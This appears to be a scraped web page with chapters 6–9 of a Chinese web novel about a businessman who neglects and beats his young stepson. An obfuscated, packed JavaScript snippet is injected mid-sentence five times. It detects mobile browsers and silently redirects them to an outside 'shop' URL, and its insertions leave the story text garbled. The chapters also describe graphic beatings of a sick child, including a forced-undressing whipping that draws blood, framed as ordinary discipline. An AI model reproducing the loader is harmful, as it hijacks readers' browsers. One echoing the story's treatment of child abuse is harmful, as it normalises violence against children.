尤朗对他们俩的小动作没兴趣，只是想到他上次见小家伙，还是他撞破头，将近一个月过去了，小家伙并没有再过来，又想到那小孩似乎身体不大好，以前也是，动不动就要上医院。 “今晚有什么安排吗？” 章信立刻回答：“要和吕总他们吃个饭。” 尤朗不满地“啧”了一声，虽说因为合作不可避免地和这个吕总有些交集，但是他个人并不喜欢和对方接触，满脑肥肠的，一到餐桌上喝了酒什么下流话都说，还得照顾着合作伙伴的面子赔笑，实在令人不快。 “这样，你跟他说，说我儿子住院了，今晚就不去吃饭了，你们去应付他一下。” 小吴疑惑，这怎么又变成儿子了？章信却毫不意外，应道：“是。” 拿了小家伙当借口，又是真的住院了，就去看一眼吧，尤朗把手里的文件交给章信，转头走了。 小吴还愣着呢，章信却瞪了他一眼，道：“在法律上，邱少爷是尤董的儿子，以后发生什么也说不准，你说话小心点！” “哦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581245|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”小吴不甘心地应了一句，不知道事情咋就发展成这样了。 尤朗还在路上，章信就把邱嘉楠住的医院和病房号发了过来。到了医院，尤朗一路找到那间单人病房，推开虚掩的门，毫无准备地对上了床上那双明亮的眼睛。 看见尤朗的瞬间，邱嘉楠显然愣了一瞬。昨天下午那个小吴帮他办好手续，就把他一个人丢在这里，饭点到了就有人送饭来，此外他都是一个人呆着。刚才他正坐床上看书，听到门推开的声音，还以为是章信哥哥或者小吴，没想到······ 尤朗竟然亲自来了，也许，尤朗还是有一点在意他的。 小孩贫血很严重，整张脸一点血色都没有，嘴唇更是死白死白的，这次晕倒之后又发了烧，可能是衣服穿少受了寒气，昨天医生一检查，发现扁桃体也发炎了，这两天都在打点滴，加上心情也不好，看着格外可怜。 尤朗走进来，拉过床边的椅子坐下，也不知道要和小孩说什么，尴尬得很。 “为什么晕倒了？”还是架不住尴尬，尤朗淡淡地问了句，跟应付似的。 听见尤朗发问，邱嘉楠一怔，心里不住地高兴，很想找些话和尤朗说，可是他也不知道自己为什么好端端的会晕倒，最后只得摇了摇头。 还真是哑巴了，尤朗无奈地摇摇头，不问了。 好在没过多久，就有护士敲门进来：“小朋友，要打针咯！”见到尤朗，小护士也有些意外，道，“是家长吧？家长还是要陪着哦，小朋友这么小，吃个药都没人倒水，自己倒热水很容易烫着。” 尤朗不是很愿意承认自己是家长，可这里就他一个人，也只好“嗯”了一声。 注射的东西放在一个小托盘里，有些轻微的响动。邱嘉楠有些害怕打针，尤其那些小瓶子轻轻碰撞发出的声音，格外叫人发怵。可是尤朗在这里，他不愿意让尤朗觉得心烦，只是乖乖地背过身去趴着，告诉自己没有什么好怕的。 护士扯下小孩的裤头，在屁股上消毒，扎针。 小孩的脊背轻轻一抖。 尤朗虽然没有自己的孩子，但不至于没进过医院，知道小孩子们在打针的时候哭闹得有多厉害，可是邱嘉楠却一动不动地趴着，好像一点也不疼。 尤朗的心尖颤了一下，问：“他打针都不哭？” 6. 第 6 章 护士拔了针，用棉签按着止血，答道：“对啊，昨天哭来着，我们护士长说哭了爸爸妈妈就不喜欢小朋友了，就马上不哭了。” 爸爸妈妈，真是可笑。 还有一针，要打另外一边。护士怕小孩撑不住，凑过去看了眼，心疼道：“呜，还是流一点眼泪了，乖乖，不怕，还有一针就好了，小朋友最勇敢了。” 邱嘉楠一手抓着被子，眼眶湿润着点点头。 第二针不太好挨，打到最后，邱嘉楠忍不住泄出了点啜泣声，护士一边安慰着一边拔了针，哄了几句才出去，顺手拉上了病房门。 房里又只剩两个人。尤朗坐近了些，原本看他打针辛苦，想哄他两句，可看小孩一副鹌鹑模样就生气，不悦开口：“不会叫人是不是？” 叫人，怎么叫呢？邱嘉楠爬起来，抿了抿唇，摇摇头，也不知是不会叫还是不知道应该如何叫。 尤朗一肚子气，特地来看他，结果这小孩连声招呼也不打，一句谢也不说：“这么大个人，你妈，学校老师没教过你什么叫礼貌？” 教过，但是有些事情有些关系，不是靠礼貌可以定义的。 邱嘉楠定定地看着尤朗，长长的眼睫毛闪了两下，还是保持了沉默。 小孩一点反应都没有，尤朗忍不住起身，把小孩一翻，隔着宽松的病服裤子给了他一巴掌，接着就听小孩闷哼一声。 “只有挨打才有反应是吧？平时都哑巴了是吧？”尤朗边骂边打，厚实的巴掌“啪啪啪”地下落，挨打的小孩好一会都没有声音，之后突然“啊”一声惨叫出来，惊得尤朗立刻停了手。 “啊呃······”小孩疼得痛呼不止，一下飙出了眼泪，尤朗这才想起刚刚打了针，心想也许是打到针口了，抬头一看，小孩的眼泪止不住下落，惨兮兮的。 尤朗有些别扭，说是愧疚吧，也不明显，心疼也谈不上，大概是良心发现吧，他至少不是个没良心的人。 小孩还在哭，尤朗不懂安慰，便走到窗边，背对着小孩 ，等小孩哭够了才转回来。小孩挺乖，消化了那一阵剧烈的疼痛后就不哭了，自觉把擦眼泪鼻涕的纸巾丢到垃圾桶里，尤朗看着他的动作，发现他手背上有一块淤青，可能是昨天打点滴留下的，又不忍心了，这么小的孩子，受挺多罪。 可到底没有血缘关系，原来因为邱蕊而培养的一点感情也因为邱蕊的离开消失殆尽，尤朗站了一会，道：“你歇着吧，我走了。” 邱嘉楠抬起婆娑的泪眼，愣愣地望着尤朗，可尤朗没有犹豫，转身离开了。可怜的小孩用视线追逐着尤朗的背影，直到那身影完全看不见。 眼泪沉甸甸的，重得眼眶完全承受不住，最终只能决堤而出。邱嘉楠感受着脸上的泪，动了动嘴唇，喃喃吐出两个字来：“爸爸。” 声音沙哑得几乎听不见。 尤朗再也没有来过，病房里又变成了邱嘉楠一个人。周末颜丹琳来看了他一次，给他带了一本琴谱：“老师教了这个，你要好好练，等你学会了，我们可以一起弹。” 两个小孩坐在病床上，一个安安静静地翻着琴谱，一个歪头看对方。 “这个也不是很难。”邱嘉楠道，只是他的问题不在于难不难，在于家里没有钢琴可以练，现在这种情况，他不可能开口让尤朗给他买一架钢琴。 算了，总还是有办法的。 女孩子的辫子轻轻一晃，脸上显出些忧愁：“你现在越来越不爱说话了，以前不是这样的。你刚转学来的时候可喜欢跟我们玩。” 邱嘉楠是一年级下学期转到环岛奇森的，那时候妈妈和尤朗刚刚结婚，尤朗对他还不错，就连多年忽视他的妈妈也意外地关注他多些，人自然开朗活泼。现在想想，那可能是他这辈子最快乐的日子了。 但是邱嘉楠什么也没有说，很多话说了也没用。 女孩子“唉”了一声，不说话了。 一个星期之后，邱嘉楠出了院，不过脸色一如既往地苍白。他在房间里找出一张大白纸，裁出三分之一的宽度，铺在地上，准备好铅笔、橡皮、钢尺，一点一点架着画，横、竖、画错了、擦掉、涂黑，花了两个多小时，把钢琴键盘画了出来。 邱嘉楠的记忆里很好，画钢琴键盘不是难事。 小孩把画好的纸键盘放到桌上，假装这是钢琴，手指放上去弹了几下，感觉还不错。 邱嘉楠看着这个纸键盘，心想这就是自己的钢琴了，虽然没有声音，但至少可以练练感觉，要是弄脏了就再画一张，反正白纸多得是。他似乎很为自己的想法感到高兴，嘴角有点笑意，但是过了一会，笑意就被眼神中的落寞取代了。 没人疼没人爱的小孩才会想这种法子，有什么好高兴的？ 快到年底，尤朗忙得脚不沾地，除了项目的工作以外，还有公司的年终福利、年会一类的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581246|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情，一直忙到快春节才消停。 可是，快春节了，家里的电话就打过来了，父母问他今年什么时候回去。 尤朗是外省人，当年国外留学回来，一眼就看中了N市的发展潜力，不顾家里人的反对，只身一人到了N市。后来的发展证明他的眼光是对的，但是他与家人也因此长期分离，每年只有过年能见一次，一次两三天。 肯定是要回去的，问题是怎么回去。前年他带着邱蕊和邱嘉楠一起回去，结果全家人都不待见那母子俩，私下跟尤朗说，邱蕊看中了他的钱，还带着个拖油瓶，让尤朗离婚。尤朗虽然没听，但也有点烦，去年就没有带那母子俩回去了。至于今年······ “除夕到年初二我不在，你还是照旧来给他做饭，我会付你三倍工钱。” “好，我明白的，尤董。” 尤朗抬头望楼上看了一眼，没看见那小孩出来，估计是闷在房里。但他也没特意去跟小孩交代什么，他做到这份上，也算仁至义尽了，至于再多的，也没有了。 可是尤朗一走，阿姨心思就活泛起来。这个阿姨在这里干了好多年，知道邱嘉楠是怎么回事，也知道尤朗对这个小孩不上心，于是除夕一大早买了一大堆菜回来，边做饭边跟邱嘉楠说：“邱少爷，这几天的饭我一次给你做好，按照每顿的量放好，你要吃的时候就自己拿出来热一下，阿姨也要回家过年，没办法。” 邱嘉楠没什么拒绝的余地，点点头道：“好。” 于是还不到除夕中午，阿姨就做好饭离开了，整个房子空荡荡的，有些吓人。邱嘉楠打开电视，百无聊赖地换台玩，听了一会儿广告词便关掉了，上楼去看书。 那时候城市里还偶尔有人放鞭炮礼花，这里又是郊区，管得不严，到了傍晚，周围礼炮“砰砰砰”地响。邱嘉楠洗了澡，“蹭蹭蹭’地跑到楼顶去看人家放炮，虽然他放不着，但是烟花一升空，谁都可以看。 除夕的风凉飕飕的，在外头站一会脸和手都冰得不得了，邱嘉楠一个人孤零零地站着空旷的楼顶，仰着头，耳边是炮竹燃放时的声声巨响，眼前是烟花升空绽放的五彩缤纷，嘴里时不时地“哇”几声，一连看了两个多小时，实在冷得受不了了才下楼去。 要是尤朗陪他一起看就好了，要是尤朗也买烟花给他放就好了。 不知怎么的，要是了这么两句，刚才的开心就消失无踪，只剩下惆怅了。 7. 第 7 章 邱嘉楠数着阿姨留下的饭，是到大年初二的晚上，那就是说，尤朗年初三就会回来。 为着这一点盼头，邱嘉楠这几天都乖乖吃饭，吃了饭自己洗碗放好，看会电视，读读书，拿纸键盘练琴，安安静静地等着尤朗回来。 年初二那晚，邱嘉楠怎么都睡不好，睡一会醒一会，半夜醒来一看钟，已经过十二点了，便急急忙忙跑下楼，想看看尤朗回来没有，但是屋子里没有任何声响，他只好失望地回房上床，继续睡觉。 早上五点多就醒了，刷牙洗脸，换好衣服，乖乖下楼坐在沙发上等着。 六点多，门“咔哒”一声响了，邱嘉楠猛地站起来，结果进来的是做饭的阿姨。 “邱少爷醒那么早啊？阿姨这就做早饭给你，你等会啊！”阿姨不知道小孩在等尤朗，还以为他天天起那么早。 邱嘉楠眼里是掩饰不住的失落，可是又没办法，只得尴尬地笑笑，坐下来继续等。 其实邱嘉楠知道尤朗不会这么早回来，他知道尤朗的老家在邻省，之前跟着去过一次，开车要六个多小时，这个时候，估计尤朗还没睡醒吧。 算了，别等了。 邱嘉楠忽然难过起来，昨晚一惊一乍跟个傻子似的，谁会大半夜回家啊？可是，如果是尤朗等他的话，他肯定半夜也要回来的。 不知是不是昨晚睡不好的缘故，邱嘉楠吃了午饭过后就直犯困，等到一点钟，还是没见尤朗回来，只好回房睡觉了。 邱嘉楠这个午觉睡得很熟，做了个梦，梦见尤朗回来，给他带了好多好多烟花，可是他一不小心全烧着了，房子烧成了火海······ “呼······”邱嘉楠活活给吓醒了，一看，已经三点半了，糟了，尤朗肯定已经回来了！邱嘉楠慌慌张张掀开被子，鞋也不穿地往外跑。 滚轮的声音！尤朗真的回来了！邱嘉楠跑下几层阶梯，果然看见尤朗拖着行李箱进来。 楼下尤朗听见声响，抬头望了一眼，跟小孩的视线交接一处。那小孩就站在楼梯上，双手攀着扶手，眼里带着难言的期盼，定定地看着自己，就跟邱蕊刚离开的时候一样。 尤朗没有说话，把行李箱放在楼下给阿姨收拾，自己往楼梯走。 知道尤朗要上来了，邱嘉楠似乎怕他生气似的，赶紧跑回去了。 尤朗一愣，不知道他跑什么，只是看见那双小脚丫光着，一跑起来，裤脚有些往上缩，露出脚踝上面一小截皮肤。 大冬天的，不冷啊？ 尤朗无奈地摇摇头，随后一个念头闪过脑海，拿出手机拨了个号码：“章信，你这几天有空，给他买几身新衣服。” 章信毫无选择余地地成了邱嘉楠的保姆，几乎所有邱嘉楠的事最后都是他负责，有时候人在公司开着会，突然就被叫去干嘛干嘛，已经麻木了。 春节过后，章信复工第一件事是给邱嘉楠买了新的冬装和春装，没几天又带着去买新文具，去学校注册，交学费。当他拿着缴费单给老板报销的时候，明显看见尤朗愣了一下。 不是吧？五万多的学费，尤董不会想赖掉吧？ 尤朗倒不是想赖，只是他之前决定要让邱嘉楠转到普通学校的，怎么就开学了？ “你去之前也不跟我说一声。”尤朗语气里有些责怪。 章信也无奈，谁叫人家是老板？只得缓缓道：“尤董，之前我问您要不要把春装一起买了的时候，您说以后的事情我决定就好，我这不······” 算了，不能瞎怪别人，尤朗挥挥手：“没事，你出去吧，等会把钱打给你，以后还是一样，他的事你看着办就好。” “是，尤董。” 从此以后，尤朗也习惯了章信动不动就不在公司，动不动就给自己一张账单，今天是带邱嘉楠去拔了牙，明天是交了班会费，有回大半天都不在，尤朗找不到人干活，只能让小吴去，结果小吴搞得乱七八糟，尤朗发了一通脾气，整个十六楼的人都不敢噤声。 直到章信回来，众人才像获救了一般。 “你干什么去了？！大半天的不见人影。” 章信没啥脾气，如实回答：“尤董，今天学校开家长会。” 家长会，这个学校破事怎么这么多？！尤朗心里不爽，挑刺似的问：“家长会说什么了？” “邱少爷成绩很好，考了第一。” “这就说了大半天？” 章信犹豫一会，道：“老师还说，说邱少爷太孤僻了，没有朋友，也不说话，让家长多陪陪孩子。” 按理说，这话他就不该说，他一个打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581247|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工的，替老板操心什么家庭啊？可是他给邱嘉楠当了这么久“家长”，不能不心疼那个小孩。 聪明，乖巧，安静，不会闹事，甚至不会抱怨，只会在满怀期待地等待着尤朗却看见章信的时候，瞬间地灭掉眼里的光。 尤朗怔愣片刻，心里升腾起一股奇怪的感觉，总觉得自己该有点回应，可又不知道如何回应，只得干巴巴地转移了话题：“今晚有什么安排？” 章信进来之前已经看过了今天的行程，道：“今晚是和建材的何总吃饭。” “知道了，去准备吧。” 他们合作的建材公司并不是大公司，但是价格实惠，谈合作的时候也诚恳，尤朗便同他们签了约。开工两个月了，对方的表现上佳，没有拖延，也没有以次充好，尤朗之前说了，能顺利动工有他们一份功劳，要请人家吃饭。 建材公司的何总年纪比尤朗还大一些，微胖身材，但是不托大，为人和善，大家都管他叫老何。尤朗一进饭店包厢就听老何在打电话：“那个猫，你给她抱去结扎！省得一发情没完没了的，赶紧啊！”见了尤朗过来，老何笑笑，说了两句赶紧把电话挂了。 尤朗笑着坐下，给对方倒茶：“老何还懂猫啊？” “懂个屁！我闺女儿，养只猫，当宝贝似的，我这不是怕到时候把家里搞得乱七八糟吗？” “养猫啊？那不得天天收拾？” “没办法啊，我跟孩子她妈忙，天天的不在家，总不能让我闺女一人孤零零的吧。跟你说，养个什么都行，找事儿给她干，绝对高兴得不得了，一点麻烦都不给我找！”老何说完“嘿嘿”地笑，得意得很。 尤朗不知怎么的想起章信说邱嘉楠孤僻的话，一时之间忘了回话，过了会才尴尬地笑笑，道：“是啊，小孩嘛！” 吃完饭也没多晚，章信开车送尤朗回去。一路上车还挺多，街道外的店铺都还开着，灯火通明，热热闹闹的。 章信早习惯了送老板，一般这种时候就让老板休息就好，不用没话找话，车里像往常一样安安静静的。可是没想到，尤朗却突然开了口：“前面宠物店停一下。” 章信一瞧，右前方确实有一家宠物店，可是老板干嘛突然要去宠物店？ 章信识相地选择了没问，应道：“好的。” 8. 第 8 章 猫、狗、兔子，那年头宠物选择范围并不广，还没人养蟒蛇之类的，动物的幼崽被关在一个个小笼子里，尤朗锃亮的皮鞋在地面上徘徊几阵，忽然指着一只比别的幼犬大一些的小狗道：“章信，这只，处理好，给他送去。” 跟着尤朗这么多年，章信对尤朗口中的代词非常熟悉，根本不必追问是谁，应声道：“是，明天我就处理好。” 其实给邱嘉楠当保姆也有好处，可以经常外出放风，不用老呆在公司，而且干的事情轻松多了，工资照领，没什么不好的。章信隔天抱着尤朗买的那条阿拉斯加幼犬去了宠物医院，前前后后上上下下都处理了一遍，到了傍晚，才抱去尤朗家给邱嘉楠。 “邱少爷！”章信在楼下喊，这个点，邱嘉楠肯定放学回家了。 邱嘉楠听到有人叫，立刻放下作业跑出来。天气暖和了起来，邱嘉楠在屋子里只穿一件薄T恤和一条五分裤，没穿鞋子，“哒哒哒”地就出来了，见着章信，叫了一声：“章信哥哥。” 章信一手牵着小狗，一手朝他招招：“快来。” 邱嘉楠下楼的时候便看见那条狗了，但是在这屋里呆了这么久，他已经学会不要自作多情了，看了一眼便将实现移开了：“怎么了？” 章信弯腰将狗狗抱起来：“看，尤董送你的宠物。” 什、什么？尤朗送他礼物？这，怎么可能？ 看小孩一脸呆滞，章信问：“怎么？不喜欢狗？” “不，不是，我······”我只是不敢相信。 章信跟这个小孩相处了一段时间，知道小孩的心思，安慰道：“真是尤董送你的，昨天晚上亲自挑的，我今天都没上班，在宠物医院伺候它老半天。真的，来，摸一下，它很乖的。” 邱嘉楠从半信半疑变成深信不疑，看狗狗眼神也很温和，便大着胆子伸手出去，摸了一下狗狗蓬松的白毛。 真的太可爱了吧！ 邱嘉楠咬着下唇，都舍不得把视线挪开，可又怕尤朗只是一时兴起，哪天不高兴了会把狗狗收回去，便小心翼翼地问：“为什么，送我狗？” 章信笑笑，把昨天的事进行了一点加工：“昨天家长会老师不是说要家长多陪陪你吗？我跟尤董说了，尤董也很关心你的，但是太忙了，所以就给你养个宠物，是希望邱少爷开心哦。” 真的吗？邱嘉楠眼眶有些湿润，他其实知道不是这样的，尤朗不会这样在意他，可是他愿意为这样美好的谎言而感动。 “来，邱少爷，你抱一下。” 邱嘉楠试着接过狗狗，像抱小孩似的，把狗狗抱在自己怀里，阿拉斯加的幼犬比别的品种要大只，毛毛又细又软，脑袋一晃，耳朵就抖啊抖，太招人喜欢了。 邱嘉楠舍不得把狗放下来，章信也不勉强他，只是教他怎么照顾狗狗。两人从阿姨那里拿了一块肉过来，撕碎了喂给狗狗。 “邱少爷，明天我带你去买狗狗要用的东西，好不好？”明天是周六，不上班，不上学。 邱嘉楠点点头，章信看见他的嘴角微微上扬。 这么久了，才知道这小孩会笑。 “邱少爷，是不是很喜欢狗狗？” 又点点头，可是这次却不笑了，邱嘉楠道：“我不是邱少爷。” 这个名字，并没有什么尊敬的意思，只能不断提醒他，他跟尤朗没有任何关系。 章信一愣，心想也是，姓邱的妈都跑了，还老提醒小孩姓邱，换谁也不高兴，于是道：“那我叫你什么好？叫嘉楠？楠楠？” “嗯！”邱嘉楠重重地点了点头。 “那楠楠等会记得带狗狗出去散步，我先回去了，明天来接你。” “章信哥哥再见。” “楠楠再见。” 章信走了没多久，邱嘉楠就牵着遛狗绳带狗狗到外面散步，狗狗这里闻闻那里看看，感觉一切都新鲜得不得了。 快要入夏了，天黑得晚，七点多还有亮光。邱嘉楠抱着狗狗坐在草地上，和它说话：“崽崽，叫爸爸。” “汪！”狗狗回了他一声。?“汪是爸，爸爸是汪汪，叫爸爸。” “汪汪！” 邱嘉楠坐在草地上傻笑：“崽崽看着我，叫爸爸。” 阿拉斯加扭开了头，不想理他。 “快点，叫爸爸。” ······ 自从有了狗狗，邱嘉楠脸上有了一点笑容，但同时也有了更多不如意的事，比如说，司机不允许他带狗狗去上学。 邱嘉楠穿着校服背着书包牵着狗，固执地摇摇头。狗狗是他的儿子，他不可能把儿子放在家里。 “邱少爷，您带了也没用，学校根本不会让狗进去啊！”司机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581248|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非常无奈，给尤董打工就是这么惨，不仅要会开车，还要会哄小孩，而且是个不说话又倔得像头牛的小孩。 邱嘉楠还是一个表情，绝对不会放开狗狗。 司机能怎么办？打电话找人呗！ 不幸的是，章信正在和其他公司派来的人核对合作细节，根本没空，只能跟尤朗说：“尤董，邱少爷要带狗去上学，现在僵在家里了，我走不开。” 尤朗正准备文件要出去一趟，闻言眉头一蹙，怎么又出事了？ 按理说，章信走不开，就该让小吴去处理，但是之前住院的事小吴办成那样，章信实在不敢信他，因而还是要征求尤朗的意见。 算了，正好要出去，尤朗道：“我回去看看。” 尤朗迈进家门的时候司机正焦急万分，又劝又哄，就差没给这少爷跪下了。尤朗见了，淡淡道：“你先出去。” 司机获救一般闪人了，尤朗走到邱嘉楠跟前，不容反驳道：“现在，放下牵狗绳，去上学。” 邱嘉楠没曾想会获得这意外之喜，可即使是尤朗，也不能让他心甘情愿把狗狗留在家里。他紧了紧手中的绳，坚定地摇摇头。 “再给你一次机会，去上学。” 其实邱嘉楠有预感，如果他还是这么固执，肯定会受罪，可是他不愿意。 尤朗没有多说，十秒左右得不到回复，便直接上手抢牵狗绳，邱嘉楠怎么肯放？两人争抢间，狗狗被扯得“汪汪”地叫，带着点不易察觉的哭腔。 “不要，不要······”到底是人小没力气，牵狗绳很快被尤朗抢去了，邱嘉楠哭了两声，看着尤朗把狗狗牵到外面去了。 邱嘉楠不知道狗狗会不会被送走，只看到尤朗再次进来时沉得能滴出水的脸。 公文包里有抽拉杆文件夹，尤朗打开包，取出一份文件，将塑料拉杆抽出来，冷声道：“裤子脱了，趴沙发扶手上。” 邱嘉楠惊恐地摇摇头，虽然他有一段时间没挨打了，但是尤朗打人的疼痛他记忆犹新，绝不想再尝试。 “自己脱就打三十，等我帮你就打六十，你自己选。” 眼泪“唰”一下掉下来，邱嘉楠知道逃不过，既伤心又恐惧，一时没有动作。 “我数三声，三，二······” 尤朗没有继续倒数，邱嘉楠已经放下书包了。 9. 第 9 章 环岛奇森的校服跟欧洲电影里那种差不多，小西装，皮鞋。邱嘉楠上身还穿着白色衬衫打着领带，下半身却已经脱光了，往沙发扶手上一趴，光溜溜的屁股高高耸起，无助地等待着责打。 尤朗解开袖扣，取下腕表，将袖子往上折了两折，露出紧实的小臂肌肉来，他年轻的时候一直坚持锻炼，身体很好。 当然，这也就意味着打人更疼。 邱嘉楠看着尤朗放在茶几上的腕表，双腿抖得像筛糠一样，还没打，就怕得不得了。 塑料拉杆在空气中划了两下，“咻咻”两声，紧接着，邱嘉楠就哭出了声。 “三十下，自己数。”尤朗说罢，“啪”一下抽落拉杆，只见小孩双腿一伸，随即惨叫出声：“啊！！”惨叫完还不忘报数，哆哆嗦嗦的，“一。” 这种文件夹是公司统一订购的，比外头文具店卖的要厚实一些，拉杆不容易变形破裂，能夹住更多纸张，此刻拿来打人，效果也不差，孩子臀上一道横亘的红痕昭示着这拉杆的威力。 尤朗扬起拉杆，“啪”地落下，邱嘉楠眼泪“啪嗒啪嗒”地掉：“呜呜······二呜······” 邱嘉楠之前以为尤朗的巴掌很可怕，后来他见识了小提琴琴弓，现在又体会了一把文件夹拉杆，明明这些东西都不是拿来打人的，为什么到了尤朗手里就如此厉害？ “啪！” “啊！！三，痛······” “啪！”“你现在知道痛了，不肯上学的时候怎么不知道？你尽管给我闹，只要你的屁股够厚！” “呜呜呜······，四。”原本屁股就火辣辣地疼，尤朗说话还这么凶，邱嘉楠委屈不已，眼泪更加汹涌了。 他也不是真的想闹事，只是想把狗狗带在身边。 他真的，太孤单了。 “啪！”责打还在继续，小小的屁股上已经横亘了五道平行的棱子，也不知道挨完三十下会怎么样。 邱嘉楠一边哭一边报数，砸下来的眼泪把沙发布料晕湿了好大一块，两只小手紧紧地掐着一个抱枕，把抱枕掐得不成形状。 十下过去，臀上的伤已经连成一片，邱嘉楠几乎要哭断气，可是还有二十下没有挨完。 十下对尤朗来说连热身都算不上，也不顾小孩的臀已经肿起两指高，仍旧蓄足了力，重重地落下拉杆。 “啊呜呜呜······”邱嘉楠哭叫着挨完三十下，身后的皮肤破了好几处，冒出了些血珠，疼得站不起来，但是尤朗只是把拉杆“哐啷”一声丢在茶几上，冷声道：“起来，去上学，下次再敢带狗去，我就宰了那条狗！” “呜······”邱嘉楠疼得七荤八素，满脸泪水，颤抖着扶着沙发站好，想要穿裤子，却根本不敢碰到身后的伤。 “你尽管磨蹭，不爱上学就别上！” 邱嘉楠知道在尤朗这里讨不到一点心疼，只得横下心，咬住下唇，缓缓将裤子穿上，这么一个简单的动作，又把小孩疼哭了。 尤朗弯腰拿起腕表带好，喊司机进来：“送他去上学。” 邱嘉楠不敢耽搁，背起书包，每走一步都疼得他直掉泪。饶是这样，他也不敢说不去，好几分钟慢慢走到门口，看见狗狗正可怜兮兮地蹲在外面草地，见了他就“呜呜”地跑过来。 尤朗还在，邱嘉楠不敢抱狗，抹了几把眼泪，跟着司机上车去了。 尤朗压根没想过小孩的伤有多疼，也没想过小孩怎么处理，反正只要不总是打电话过来烦就可以。他最近在看另一块地，那块地比较小，要说赚钱，肯定不多，但是位置好，要是做好了，对于公司以后的发展帮助很大。尤朗天天早出晚归，拉锯了半个月，才终于把这块地谈下来。 合作确定下来那天，事情结束得早，尤朗让项目部和法务对接那边的人，准备起草合同，自己则先回家了。忙了大半个月，可以稍微歇会。 到家的时候才六点，阿姨正在厨房做饭，他一眼就看到了沙发上那个熟悉的书包。 “小孩呢？”尤朗问。 阿姨从厨房探出头来：“尤董，邱少爷出去遛狗了。” 尤朗不说话，上楼去了，进了卧室，径直推开落地窗，走出去站会。这个卧室阳台正对着外头的大草地，视野十分开阔。他这段时间，每天不是在办公室里对着电脑，就是在饭店餐厅对着合作方，头昏脑胀的，现在站一站，看看风景，舒服很多。 夏天的晚风十分凉快，不远处有人在散步，尤朗望了一会儿，突然看见一条狗欢快地跑来，小孩在后头被扯得踉踉跄跄。阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581249|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉斯加体型大，又生猛，一跑起来差点拽倒小孩，邱嘉好几回就要摔个狗吃屎，也不知是小孩遛狗，还是狗遛小孩。 尤朗看这景象，忍不住笑了下。 “尤董，可以吃饭了！”阿姨在楼下喊。 尤朗走下楼，刚好看见邱嘉楠牵狗进门，两人一对视，谁也没有话。邱嘉楠还记得半个月前那顿打，后来他伤口感染发烧了几天，住了院，但是尤朗没有去看他。 手中的牵狗绳不知该不该放，邱嘉楠怔怔地站着，直到尤朗开口：“放好狗，吃饭。” 邱嘉楠喜出望外，点点头，牵着狗上楼了。 “你牵它上去做什么？”尤朗疑惑，见小孩一副欲言又止的模样，又问，“你让狗和你一起睡？” 邱嘉楠点点头。 尤朗想到这狗在外面撒欢跑了老半天，晚上还要上床睡，这不得脏死？“找个地方给它睡，不准上床。” 邱嘉楠抿抿唇，有点舍不得。其实章信有准备狗狗的床，但是他舍不得让狗狗自己睡。 他很孤单，狗狗也很孤单，他们一起睡，可以相互取暖。 但是，尤朗说不可以。 邱嘉楠没有办法，只好找了个空房间，把狗狗的东西搬了进去，被迫和狗狗分离了。 跟尤朗一起吃饭，邱嘉楠表现得格外乖巧，毕竟不知道这样的机会多久一次，有的话还是要好好把握。 只是尤朗也没有什么话说，饭间始终很沉默。 没有了狗狗陪伴的夜晚变得很难熬，邱嘉楠觉得怀里空空的，耳边静静的，丢了魂似的，当天晚上怎么都睡不着，什么姿势入睡都很奇怪，根本睡不好，第二天一早挂着两个黑眼圈，恹恹地上课去了。 